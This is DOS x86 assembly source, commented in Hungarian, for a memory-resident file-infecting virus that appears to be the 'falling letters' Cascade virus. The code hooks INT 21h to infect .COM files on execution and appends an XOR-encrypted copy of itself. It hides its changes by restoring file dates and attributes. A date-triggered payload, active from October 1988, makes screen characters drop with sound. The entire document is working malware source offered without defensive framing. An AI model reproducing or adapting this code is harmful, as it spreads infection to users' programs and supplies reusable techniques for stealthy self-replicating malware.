PAGE ,132 VIRUS SEGMENT PARA PUBLIC 'CODE' ASSUME CS:VIRUS,DS:VIRUS R1 EQU IDE-131H R2 EQU BE1-1A3H HOSSZ EQU VEG-KEZDET ORG 100H KEZDET EQU $ DB 1 CLI MOV BP,SP CALL IDE IDE: POP BX ; A CIM VISSZAOLVASASA SUB BX,131H TEST CS:BYTE PTR [BX+KEZDET-R1],1 JZ INDIT LEA SI,[BX+INDIT-R1] MOV SP,OFFSET VEG-INDIT FOLYT: XOR [SI],SI XOR [SI],SP INC SI DEC SP JNZ FOLYT INDIT: MOV SP,BP JMP BEEPUL REGCIM DW 100H VSZ DW 0 MENTAX DW 0 PRGKEZ DB 0,0,0 DW 0 REG1C DD 0 REG21 DD 0 REG28 DD 0 DW 0 FILATT DW 0 FILDAT DW 0 FILIDO DW 0 FILNEV DD 0 FILHOS DD 0 UJKEZD DB 0E9H,0,0 VIDOSZL DB 0 VIDSOR DB 0 VIDMOD DB 0 OLVKAR DB 0 OLVATT DB 0 STATUS DB 0 VIDKEZ DW 0 VIDOFS DW 0 IDOEGYS DW 0 SZAML DW 0 SZAMLEL DW 0 MAXKAR DW 0 POTYKAR DW 0 ORA DB 16 DUP(0) BEEPUL: CALL BE1 BE1: POP BX SUB BX,1A3H MOV CS:[BX+VSZ-R2],CS ; A KODSZEGMENS TAROLASA, AZ INDITAS SZEGMENSE MOV CS:[BX+MENTAX-R2],AX MOV AX,CS:[BX+PRGKEZ-R2] MOV DS:100H,AX ; AZ ELSO HAROM BYTE VISSZAALLITASA MOV AL,CS:[BX+PRGKEZ+2-R2] MOV DS:102H,AL PUSH BX MOV AH,30H ; A DOS VERZIOSZAM BEOLVASASA INT 21H POP BX CMP AL,2 JB VISSZA ; HA KISEBB, MINT A 2.0 VERZIO MOV AX,4BFFH ; A VIRUS AKTIVALTSAG ELLENORZESE XOR DI,DI ; DI=0 XOR SI,SI ; SI=0 INT 21H ; A VIRUS MAR A MEMORIABAN? CMP DI,55AAH ; HA DI=55AA, AKKOR MAR AKTIV JNZ BE2 ; UGRAS, HA MAR MUKODIK JB BE3 ; MINDIG HAMIS VISSZA: STI ; ELINDITJA A GAZDAPROGRAMOT PUSH DS POP ES ; AZ ES VISSZAALLITASA MOV AX,CS:[BX+MENTAX-R2] JMP DWORD PTR CS:[BX+REGCIM-R2] BE2: PUSH BX MOV AX,3521H INT 21H ; A 21H MEGSZAKITASVEKTOR BEOLVASASA MOV AX,BX POP BX ; ES ELTAROLASA A TABLAZATBAN BE3: MOV CS:[BX+REG21-R2],AX MOV CS:[BX+REG21+2-R2],ES MOV AX,0F000H MOV ES,AX MOV DI,0E008H CMP WORD PTR [DI],4F43H ; 'COPR. IBM'+00H ELLENORZESE /LENNE/ JNZ BE4 CMP WORD PTR [DI+2],5250H JNZ BE4 CMP WORD PTR [DI+4],202EH JNZ BE4 CMP WORD PTR [DI+6],4249H JNZ BE4 CMP WORD PTR [DI+8],4DH JZ VISSZA BE4: MOV AX,HOSSZ/10H+11H ; A VIRUS HOSSZA+100H PARAGRAFUSBAN MOV BP,CS ; ES RAALLITASA A PROGRAMOT MEGELOZO DEC BP ; MCB-RE MOV ES,BP MOV SI,CS:[16H] MOV ES:[1],SI MOV DX,ES:[3] ; A SZABAD PARAGRAFUSOK BEOLVASASA DX-BE MOV ES:[3],AX MOV ES:BYTE PTR [0],4DH ; NEM UTOLSO MCB SUB DX,AX ; AZ UJ SZABAD PARAGRAFUSOK SZAMA A VIRUS DEC DX ; HOSSZAVAL ES EGYEL /AZ UJ MCB/ KEVESEBB INC BP ADD BP,AX INC BP MOV ES,BP PUSH BX MOV AH,50H MOV BX,BP INT 21H POP BX XOR DI,DI ; DI=0 PUSH ES POP SS ; SS=ES - AZ UJ VEREM AZ UJ HELYEN LESZ PUSH DI LEA DI,[BX+VEG-R2-1] ; A PROGRAM VEGEROL MOV SI,DI MOV CX,OFFSET HOSSZ ; A VIRUST /CX-BE A VIRUS HOSSZA KERUL/ STD ; VISSZAFELE REPZ MOVSB ; FELMASOLJA PUSH ES LEA CX,[BX+BE9-R2] ; KOZVETLEN VEZERLESATADAS AZ UJ HELYEN PUSH CX ; LEVO VIRUSRA. A PROGRAM VALOJABAN A RETF ; RETF UTASITAS UTAN FOLYTATODIK BE9: MOV CS:[BX+VSZ-R2],CS ; AZ UJ SZEGMENSCIM AZ INDITASHOZ LEA CX,[BX+KEZDET-R2] ; A PROGRAM HOSSZA VIRUS NELKUL REPZ MOVSB ; A PROGRAM 'FELHUZASA' A VIRUS ALA MOV CS:36H,CS DEC BP ; AZ UJ MCB SZEGMENSCIME MOV ES,BP ; ATTOLTENI ES-BE MOV ES:[3],DX ; BEALLITANI A SZABAD PARAGRAFUSOK SZAMAT MOV ES:BYTE PTR [0],5AH ; ES EZ AZ UTOLSO MCB MOV ES:WORD PTR [1],CS ; A PROGRAM SZEGMENSCIME INC BP ; ES=ES+1, A SZEGMENSREGISZTER VISSZAALLITASA MOV ES,BP ; A PROGRAM ELEJERE PUSH DS POP ES ; ES=DS PUSH CS POP DS ; DS=CS LEA SI,[BX+KEZDET-R2] ; A PROGRAM HOSSZA VIRUS NELKUL MOV DI,100H MOV CX,OFFSET HOSSZ ; A VIRUS HOSSZA CLD ; A VIRUS LEMASOLASA A PROGRAM ELOTT REPZ MOVSB ; FELSZABADULT HELYRE PUSH ES ; ES KOZVETLEN VEZERLESATADAS A VEGLEGES LEA AX,DS:BE8 ; HELYEN TALALHATO VIRUS SZAMARA PUSH AX ; AZ UGRAS AZ UJ VIRUS RETF UTASITASA RETF ; UTAN TORTENIK BE8: MOV CS:WORD PTR [2CH],0 MOV CS:16H,CS PUSH DS ; DS ERTEKET ELMENTENI LEA DX,DS:UJ21 ; AZ UJ INT 21H CIMENEK BEALLITASA PUSH CS ; DS=CS POP DS MOV AX,2521H INT 21H POP DS ; DS REGI ERTEKE MOV AH,1AH MOV DX,80H INT 21H ; A DTA CIM BEALLITASA CALL BEMAS ; A RENDSZERIDO BEMASOLASA A TABLAZATBA MOV AH,2AH INT 21H ; RENDSZERDATUM BEOLVASASA CMP CX,1988 ; A MAI DATUM NAGYOBB, MINT 1988? JA BE5 ; IGEN: CSAK FERTOZES JZ BE6 ; IDEN VAN 1988 CMP CX,1980 ; 1980 VAN? JNZ BE5 ; IGEN: CSAK FERTOZES PUSH DS MOV AX,3528H INT 21H ; A 28H VEKTOR BEOLVASASA, ES ELTAROLASA MOV CS:WORD PTR REG28,BX MOV CS:WORD PTR REG28+2,ES MOV AX,2528H MOV DX,OFFSET UJ28 ; DX-BE AZ UJ INT 28H OFFSZETJE PUSH CS POP DS ; DS=CS INT 21H ; A MEGSZAKITASI VEKTOR BEALLITASA POP DS OR CS:STATUS,1000B ; A POTYOGAS LETILTASA JMP BE7 BE6: CMP DH,0AH ; CSAK OKTOBERTOL DECEMBERIG POTYOG JB BE5 ; MEG NINCS BE7: CALL KESLH ; A KESLELTETESI ERTEK MEGHATAROZASA MOV AX,1518H CALL VELETL INC AX MOV CS:SZAML,AX ; A BELSO VALTOZOK BEALLITASA MOV CS:SZAMLEL,AX MOV CS:POTYKAR,1 MOV AX,351CH INT 21H ; AZ 1CH VEKTOR BEOLVASASA ES ELTAROLASA MOV CS:WORD PTR REG1C,BX MOV CS:WORD PTR REG1C+2,ES PUSH DS MOV AX,251CH MOV DX,OFFSET UJ1C ; AZ UJ INT 1CH OFFSZETJE PUSH CS ; ES SZEGMENSE POP DS INT 21H ; AZ 1CH VEKTOR BEALLITASA POP DS BE5: MOV BX,0FFD6H JMP VISSZA UJ21: CMP AH,4BH ; A FUNKCIOKOD 4BH? JZ U21_1 ; IGEN U21_2: JMP DWORD PTR CS:REG21 ; FOLYTATAS A REGI INT 21H-N U21_3: MOV DI,55AAH ; A VIRUS AKTIVALTSAGA LES AX,CS:REG21 MOV DX,CS IRET U21_1: CMP AL,0FFH ; A VIRUS AKTIVALTSAG KERDEZESE? JZ U21_3 ; IGEN CMP AL,0 ; BETOLTES & INDITAS? JNZ U21_2 ; NEM PUSHF ; A REGISZTEREK MENTESE PUSH AX PUSH BX PUSH CX PUSH DX PUSH SI PUSH DI PUSH BP PUSH ES PUSH DS MOV CS:WORD PTR FILNEV,DX MOV CS:WORD PTR FILNEV+2,DS PUSH CS POP ES MOV AX,3D00H INT 21H ; A FILE MEGNYITASA OLVASASRA JC FERT1 MOV BX,AX ; A FILESZAM ATVITELE BX-BE MOV AX,5700H INT 21H ; A KELETKEZESI IDO BEOLVASASA MOV CS:FILDAT,DX ; ES ELTAROLASA MOV CS:FILIDO,CX MOV AH,3FH PUSH CS POP DS MOV DX,OFFSET PRGKEZ MOV CX,3 INT 21H ; AZ ELSO HAROM BYTE BEOLVASASA JC FERT1 CMP AX,CX ; SIKERULT MINDENT BEOLVASNI? JNZ FERT1 ; NEM, HIBA TORTENT MOV AX,4202H XOR CX,CX XOR DX,DX INT 21H ; FILE HOSSZANAK A MEGHATAROZASA MOV CS:WORD PTR FILHOS,AX MOV CS:WORD PTR FILHOS+2,DX MOV AH,3EH INT 21H ; A FILE LEZARASA CMP CS:WORD PTR PRGKEZ,5A4DH JNZ FERT2 ; COM FILE? JMP FERT3 ; EXE ESETEN VISSZATERES FERT2: CMP CS:WORD PTR FILHOS+2,0 JA FERT1 ; NAGYOBB, MINT 64K? CMP CS:WORD PTR FILHOS,0F93BH JBE FERT7 ; A FILE MEG MEGFELELO MERETU FERT1: JMP FERT3 FERT7: CMP CS:PRGKEZ,0E9H ; JMP UTASITAS? JNZ FERT8 ; NEM MOV AX,CS:WORD PTR FILHOS ADD AX,0F959H ; FILE HOSSZA - VIRUS HOSSZA : IDE UGRIK? CMP AX,CS:WORD PTR PRGKEZ+1 JZ FERT1 ; EZ A FILE MAR FERTOZOTT FERT8: MOV AX,4300H LDS DX,CS:FILNEV INT 21H ; A FILE ATTRIBUTUMANAK BEOLVASASA JC FERT1 MOV CS:FILATT,CX ; AZ ATTRIBUTUM TAROLASA XOR CL,20H ; AZ ARCHIV BIT INVERTALASA TEST CL,27H JZ FERT5 MOV AX,4301H XOR CX,CX INT 21H ; AZ UJ ATTRIBUTUM FELIRASA JC FERT1 FERT5: MOV AX,3D02H INT 21H ; FILE NYITASA IRASRA & OLVASASRA JC FERT1 MOV BX,AX ; FILE SORSZAM BX-BE MOV AX,4202H XOR CX,CX XOR DX,DX INT 21H ; MUTATO A FILE VEGERE CALL UTANMAS ; A VIRUST UTANAMASOLNI JNC FERT9 ; SIKERULT? MOV AX,4200H MOV CX,CS:WORD PTR FILHOS+2 MOV DX,CS:WORD PTR FILHOS INT 21H ; MUTATO A FILE EREDETI VEGERE MOV AH,40H XOR CX,CX INT 21H ; A FILEHOSSZ FELIRASA JMP FERT6 FERT9: MOV AX,4200H XOR CX,CX XOR DX,DX INT 21H ; MUTATO A FILE ELEJERE JC FERT6 MOV AX,CS:WORD PTR FILHOS ADD AX,0FFFEH ; AZ UGRASI CIM KISZAMITASA MOV CS:WORD PTR UJKEZD+1,AX MOV AH,040H MOV DX,OFFSET UJKEZD MOV CX,3 INT 21H ; AZ ELSO HAROM BYTE KIIRASA FERT6: MOV AX,5701H MOV DX,CS:FILDAT ; A DATUM MOV CX,CS:FILIDO ; ES IDO BEOLVASASA INT 21H ; ES BEALLITASA MOV AH,3EH INT 21H ; A FILE LEZARASA MOV CX,CS:FILATT ; AZ ATTRIBUTUM BEOLVASASA TEST CL,111B ; R/O, REJTETT VAGY RENDSZER? JNZ FERTA TEST CL,100000B ; ARCHIV FILE? JNZ FERT3 FERTA: MOV AX,4301H LDS DX,CS:FILNEV INT 21H ; A FILE ATTRIBUTUMANAK BEALLITASA FERT3: POP DS ; A REGISZTEREK VISSZAOLVASASA POP ES POP BP POP DI POP SI POP DX POP CX POP BX POP AX POPF JMP U21_2 VELETL PROC NEAR ; EGY VELETLENSZAM ELOALLITASA PUSH DS PUSH CS POP DS PUSH BX PUSH CX PUSH DX PUSH AX MOV CX,7 MOV BX,OFFSET ORA+0EH PUSH [BX] VEL1: MOV AX,[BX-2] ADC [BX],AX DEC BX DEC BX LOOP VEL1 POP AX ADC [BX],AX MOV DX,[BX] POP AX OR AX,AX JZ VEL2 MUL DX VEL2: MOV AX,DX POP DX ; REGISZTEREK VISSZAALLITASA POP CX POP BX POP DS RET VELETL ENDP BEMAS PROC NEAR ; A RENDSZERIDO BEMASOLASA A TABLAZATBA PUSH DS ; A REGISZTEREK ELMENTESE PUSH ES PUSH SI PUSH DI PUSH CX PUSH CS ; ES=CS POP ES MOV CX,40H ; FORRAS= 0000:046CH MOV DS,CX ; AZ ORA BEMASOLASA MOV DI,OFFSET ORA MOV SI,6CH MOV CX,8 ; 16 BYTE CLD ; NOVEKVO IRANYBA REPZ MOVSW POP CX ; A REGISZEREK ELOZO ERTEKEINEK POP DI ; VISSZAALLITASA POP SI POP ES POP DS RET ; VISSZATERES BEMAS ENDP VIDOLV PROC NEAR ; OLVASAS A VIDEORAM-BOL PUSH SI ; REGISZTEREK ELMENTESE PUSH DS PUSH DX MOV AL,DH MUL VIDOSZL ; A SOR SZAMA SZOROZVA A SORON BELULI OSZLOPOK MOV DH,0 ; SZAMAVAL, PLUSZ AZ OSZLOPOK SZAMA ADD AX,DX SHL AX,1 ; SZORZAS KETTOVEL (KAR.+ATTRIB.) ADD AX,VIDOFS ; ELTOLAS A SZEGMENSEN BELUL MOV SI,AX TEST VIDMOD,11111111B ; HAVAZIK A KEPERNYO? MOV DS,VIDKEZ JZ VO3 ; NEM HAVAZIK MOV DX,3DAH ; A CGA KARTYA STATUSZPORTJA CLI ; A MEGSZAKITASOKAT LETILTANI VO1: IN AL,DX ; A STATUSZ BEOLVASASA TEST AL,1000B ; FUGGOLEGES VISSZAFUTAS JNZ VO3 TEST AL,1 ; VARJUK MEG, MIG NEM OLVASHATUNK A RAM-BOL JNZ VO1 VO2: IN AL,DX TEST AL,1 JZ VO2 VO3: LODSW ; A KARAKTER ES ATTRIBUTUM BEOLVASASA STI ; A MEGZAKITAS ELLENORZESE POP DX ; REGISZTEREK VISSZAOLVASASA POP DS POP SI RET VIDOLV ENDP VIDIR PROC NEAR ; KIIRAS A VIDEORAM-BA PUSH DI ; REGISZTEREK ELMENTESE PUSH ES PUSH DX PUSH BX MOV BX,AX ; A KARAKTER ES AZ ATTRIBUTUM ELMENTESE MOV AL,DH ; A CIM KISZAMITASA MUL VIDOSZL MOV DH,0 ADD AX,DX SHL AX,1 ; SZORZAS KETTOVEL ADD AX,VIDOFS MOV DI,AX TEST VIDMOD,11111111B ; HAVAZIK A KEPERNYO? MOV ES,VIDKEZ JZ VI3 ; NEM HAVAZIK MOV DX,03DAH ; A CGA KARTYA STATUSZPORTJA CLI ; MEGSZAKITASOKAT TILTANI VI1: IN AL,DX ; A STATUSZT BEOLVASNI TEST AL,1000B ; FUGGOLEGES VISSZAFUTAS? JNZ VI3 ; IGEN TEST AL,1 ; IRHATUNK A VIDEORAM-BA? JNZ VI1 ; HA IGEN, AKKOR VARJUNK MEG VI2: IN AL,DX ; A STATUSZ BEOLVASASA TEST AL,1 ; VARJUK MEG, AMIRE ISMET OLVASHATUNK JZ VI2 VI3: MOV AX,BX ; A KARAKTER ES AZ ATTRIBUTUM BETOLTESE STOSB ; BEIRASA A VIDEORAM-BA STI ; A MEGSZAKITASOK MAR ENGEDELYEZHETOK POP BX ; A REGISZTEREK VISSZAALITASA POP DX POP ES POP DI RET ; VISSZATERES VIDIR ENDP VARAK PROC NEAR ; VARAKOZAS CX IDEIG PUSH CX V1: PUSH CX MOV CX,IDOEGYS V2: LOOP V2 POP CX LOOP V1 POP CX RET VARAK ENDP HANGSZ PROC NEAR ; A HANGSZORO ATKAPCSOLASA PUSH AX ; AX ELMENTESE IN AL,61H ; A PPI BEOLVASASA XOR AL,2 ; A HANGSZORO ATKAPCSOLASA AND AL,11111110B ; ENGEDELYEZESE OUT 61H,AL ; VISSZAIRASA POP AX ; AX VISSZAALLITASA RET ; VISSZATERES HANGSZ ENDP URES PROC NEAR CMP AL,0 ; NUL KODJA? JZ UR1 ; IGEN CMP AL,20H ; SZOKOZ? JZ UR1 ; IGEN CMP AL,0FFH ; 0FFH IS URES JZ UR1 ; AZ CLC ; NEM URES RET ; VISSZATERES UR1: STC ; URES RET ; VISSZATERES URES ENDP GRAFIK PROC NEAR CMP AL,0B0H ; 0B0H<=AL<=0DFH? JB GR1 ; NEM CMP AL,0DFH JA GR1 ; NEM STC ; IGEN RET ; VISSZATERES GR1: CLC ; NEM GRAFIKUS RET ; VISSZATERES GRAFIK ENDP KESLH PROC NEAR ; A KESLELTETESI ERTEK MEGHATAROZASA PUSH DS MOV AX,40H MOV DS,AX STI MOV AX,DS:6CH ; AZ ORA BEOLVASASA KES1: CMP AX,DS:6CH ; VARAKOZAS, MIG AZ ORA EPPEN NEM LEP JZ KES1 XOR CX,CX ; CX NULLAZASA MOV AX,DS:6CH ; AZ ORA BEOLVASASA KES2: INC CX ; CX=CX+1 JZ KES4 ; HA TULCSORDULT CMP AX,DS:6CH ; LEPETT MAR AZ ORA? JZ KES2 ; MEG NEM KES3: POP DS MOV AX,CX XOR DX,DX MOV CX,0FH DIV CX MOV CS:IDOEGYS,AX ; AZ IDOEGYSEG ELTAROLASA RET KES4: DEC CX JMP KES3 KESLH ENDP POTY PROC NEAR ; POTYOGTATAS MOV VIDSOR,24 PUSH DS MOV AX,40H ; A BIOS PARAMETERBLOKK MOV DS,AX MOV AX,DS:4EH ; A VIDEOPUFFER OFSZET ERTEKE POP DS MOV VIDOFS,AX MOV DL,0FFH MOV AX,1130H MOV BH,0 PUSH ES ; ES & BP ELMENTESE PUSH BP INT 10H ; A SOROK SZAMANAK BEOLVASASA POP BP ; ES & BP VISSZAALLITASA POP ES CMP DL,0FFH JZ PO1 PO4: MOV VIDSOR,DL ; A SOROK SZAMANAK ELTAROLASA PO1: MOV AH,0FH INT 10H ; OSZLOPOK SZAMANAK A BEOLVASASA MOV VIDOSZL,AH ; ES ELTAROLASA MOV VIDMOD,0 ; A MOD ES A VIDEOMEMORIA SZEGMENSCIMENEK MOV VIDKEZ,0B000H ; BEALLITASA CMP AL,7 ; AZ AKTUALIS MOD EGA-TEXT? JZ PO3 ; IGEN JB PO2 JMP PO7 PO2: MOV VIDKEZ,0B800H ; A VIDEOMEMORIA KEZDOCIME CMP AL,3 JA PO3 CMP AL,2 JB PO3 MOV VIDMOD,1 ; HAVAZIK A KEPERNYO MOV AL,VIDSOR ; A SOROK SZAMA INC AL ; MEG EGY MUL VIDOSZL ; SZOROZVA AZ OSZLOPOK SZAMAVAL MOV MAXKAR,AX ; ENNYI KARAKTERHELY VAN A KEPERNYON MOV AX,POTYKAR ; A POTYOGTATANDO KARAKTEREK SZAMA CMP AX,MAXKAR ; NAGYOBB, MINT A MAXIMALIS KARAKTERSZAM? JBE PO5 ; NEM, TOVABB MOV AX,MAXKAR ; A MAXIMALIS KARAKTERSZAM PO5: CALL VELETL ; VELETLENSZAM ELOALLITASA 1 ES A POTYOGTATANDO INC AX ; /VAGY MAXIMALIS/ ERTEK KOZOTT MOV SI,AX ; A MAXIMALISAN POTYOGTATHATO KARAKTEREK SZAMA PO3: XOR DI,DI ; DI=0 PO8: INC DI ; DI=DI+1 : A SIKERTELEN KISERLETEKET SZAMLALJA MOV AX,MAXKAR ; A MAXIMALIS KARAKTERSZAM SHL AX,1 ; SZOROZVA KETTOVEL, ENNYI SIKERTELEN KISERLET CMP DI,AX ; ENGEDELYEZETT EGYMAS UTAN JBE PO6 ; MEG NEM TELT LE JMP PO7 ; TULLEPTE, KILEPETT PO6: OR STATUS,10B ; A KARAKTER NEM POTYOGOTT MOV AL,VIDOSZL ; A MAXIMALIS ERTEK AZ OSZLOPOK SZAMA MOV AH,0 CALL VELETL ; VELETLENSZAM ELOALLITASA MOV DL,AL ; EZ LESZ AZ OSZLOPSZAM MOV AL,VIDSOR ; MAXIMALIS ERTEK A SOROK SZAMA MOV AH,0 CALL VELETL ; VELETLENSZAM ELOALLITASA MOV DH,AL ; EZ LESZ A SORSZAM CALL VIDOLV ; A MEGFELELO KARAKTER BEOLVASASA CALL URES ; URES-E? JC PO8 ; IGEN CALL GRAFIK ; GRAFIKUS-E? JC PO8 ; IGEN MOV OLVKAR,AL ; A BEOLVASOTT KARAKTER ES ATTRIBUTUMANAK MOV OLVATT,AH ; ELTAROLASA MOV CL,VIDSOR ; CX=SOROK SZAMA MOV CH,0 POC: INC DH ; A KOVETKEZO SOR CMP DH,VIDSOR ; ELERTE A MAXIMALISAT? JA PO9 ; TULLEPTE, ABBAHAGYNI CALL VIDOLV ; A KARAKTER BEOLVASASA CMP AH,OLVATT ; AZ ATTRIBUTUM STIMMEL? JNZ PO9 ; NEM EGYEZIK CALL URES ; URES KARAKTER-E? JC POA ; IGEN POE: CALL GRAFIK ; GRAFIKUS-E? JC PO9 ; IGEN INC DH ; A KOVETKEZO SOR CMP DH,VIDSOR ; TULLEPTE AZ UTOLSO SORT? JA PO9 ; IGEN CALL VIDOLV ; BEOLVASAS A VIDEORAM-BOL CMP AH,OLVATT ; AZ ATTRIBUTUMOK OSSZEHASONLITASA JNZ PO9 ; NEM EGYEZNEK CALL URES ; URES KARAKTER-E? JNC POE ; NEM CALL HANGSZ ; HANG ELOALLITASA DEC DH ; A FELETTE LEVO SOR CALL VIDOLV ; BEOLVASASA MOV OLVKAR,AL ; ES AZ OTT LEVO KARAKTER ELTAROLASA INC DH ; AZ ALATTA LEVO SOR POA: AND STATUS,11111101B ; SIKERULT POTYOGTATNI DEC DH ; A FELETTE LEVO SOR MOV AL,20H ; A SZOKOZ KODJA CALL VIDIR ; KIIRASA INC DH ; AZ ALATTA LEVO SOR MOV AL,OLVKAR ; A KARAKTER CALL VIDIR ; KIIRASA JCXZ POB ; HA ELERTUK A LEGALSO SORT, AKKOR KILEPES CALL VARAK ; VARAKOZAS DEC CX ; ES A VISSZALEVO SOROK SZAMANAK CSOKKENTESE POB: JMP POC PO9: TEST STATUS,10B ; POTYOGOTT MAR KARAKTER? JZ POD ; IGEN JMP PO8 ; UJ KISERLET POD: CALL HANGSZ ; HANG ELOALLITASA DEC SI ; EGGYEL KEVESEBB KARAKTER VAN HATRA JZ PO7 ; HA NULLA, AKKOR KILEPNI JMP PO3 ; UJRA KISERELNI PO7: IN AL,61H ; A HANGSZORO BEOLVASASA AND AL,11111100B ; KIKAPCSOLASA OUT 61H,AL ; MAJD VISSZAIRASA RET ; VISSZATERES POTY ENDP UJ1C: TEST CS:STATUS,1001B ; A POTYOGAS TILTVA, VAGY EPPEN POTYOG? JNZ U1C_1 ; IGEN OR CS:STATUS,1 ; EPPEN POTYOG JELZOT BEALLITANI DEC CS:SZAML ; A SZAMLALOT CSOKKENTENI JNZ U1C_2 ; HA MEG NEM NULLA, AKKOR VEGE PUSH DS ; REGISZTEREK ELMENTESE PUSH ES PUSH CS POP DS ; DS=CS PUSH CS POP ES ; ES=CS PUSH AX PUSH BX PUSH CX PUSH DX PUSH SI PUSH DI PUSH BP MOV AL,20H OUT 20H,AL MOV AX,SZAMLEL ; A SZAMLALO ELOZO ERTEKE CMP AX,0438H ; AZ ELOZO ERTEK KISEBB VOLT? JNB U1C_3 ; NEM MOV AX,0438H ; KB. 60 MASODPERC U1C_3: CALL VELETL ; VELETLENSZAM ELOAALITASA INC AX ; AZ IDO NEM LEHET NULLA MOV SZAML,AX ; ES ELTAROLAS A SZAMLALOBA MOV SZAMLEL,AX ; ES MINT A SZAMLALO UTOLSO ERTEKE IS CALL POTY ; POTYOGTATAS MOV AX,3 ; VELETLENSZAM ELOALLIASA CALL VELETL ; 1 ES 3 KOZOTT INC AX MUL POTYKAR ; EZT SZOROZNI A MAXIMALISAN POTYOGTATHATO JNB U1C_4 ; KARAKTEREK SZAMAVAL MOV AX,0FFFFH ; MAXIMUM 65535 DB LEHET U1C_4: MOV POTYKAR,AX ; ELTAROLASA POP BP ; REGISZTEREK VISSZOLVASASA POP DI POP SI POP DX POP CX POP BX POP AX POP ES POP DS U1C_2: AND CS:STATUS,11111110B ; EPPEN NEM POTYOG BEALLITASA U1C_1: JMP DWORD PTR CS:REG1C ; FOLYTATASA A REGI INT 1CH-N UJ28: TEST CS:STATUS,1000B ; TILTVA A POTYOGAS? JZ U28_1 ; HA NEM, AKKOR FELESLEGES VEGREHAJTANI PUSH AX ; REGISZTEREK MENTESE PUSH CX PUSH DX MOV AH,2AH ; A RENDSZERDATUM BEOLVASASA INT 21H CMP CX,1988 ; AZ EV 1988? JB U28_2 ; HA KISEBB, AKKOR KILEPES JA U28_3 ; HA NAGYOBB, AKKOR POTYOGHAT CMP DH,10 ; VAN MAR OKTOBER? JB U28_2 ; HA MEG NINCS, AKKOR NE POTYOGJON U28_3: AND CS:STATUS,11110111B ; A POTYOGAS ENGEDELYEZVE U28_2: POP DX ; REGISZTEREK VISSZAOLVASASA POP CX POP AX U28_1: JMP DWORD PTR CS:REG28 ; FOLYTATAS A REGI INT 28H-N UTANMAS PROC NEAR ; A VIRUS KIMASOLASA A PROGRAM MOGE PUSH ES PUSH BX MOV AH,48H ; MEMORIATERULET ALLOKALASA MOV BX,OFFSET HOSSZ/10H+1 INT 21H POP BX JNC UTAN1 ; SIKERULT? UTAN3: STC POP ES RET UTAN1: MOV BYTE PTR CS:100H,1 MOV ES,AX PUSH CS ; DS=CS POP DS XOR DI,DI ; DI=0 MOV SI,100H ; SI=100H MOV CX,OFFSET HOSSZ ; A VIRUS HOSSZA CLD ; NOVEKVO IRANY REPZ MOVSB ; A VIRUS KIMASOLASA AZ ALLOKALT TERULETRE MOV DI,OFFSET INDIT-100H MOV SI,OFFSET INDIT ADD SI,WORD PTR FILHOS MOV CX,OFFSET VEG-INDIT UTAN2: XOR ES:[DI],SI ; A VIRUS LE XOR-OLASA XOR ES:[DI],CX INC DI INC SI LOOP UTAN2 MOV DS,AX ; DS A PUFFER ELEJERE MUTAT MOV AH,40H XOR DX,DX ; AZ OFSZET A PUFFER ELEJERE MOV CX,OFFSET HOSSZ ; A VIRUS HOSSZA INT 21H ; KIIRAS A PROGRAM MOGE PUSHF PUSH AX MOV AH,49H ; AZ ALLOKALT MEMORIABLOKK FELSZABADITASA INT 21H POP AX ; A REGISZTEREK VISSZAOLVASASA POPF PUSH CS ; DS=CS POP DS JC UTAN3 CMP AX,CX ; MINDEN BYTEOT KIIRT? JNZ UTAN3 ; NEM POP ES CLC ; NEM TORTENT HIBA RET ; VISSZATERES UTANMAS ENDP VEG EQU $ VIRUS ENDS END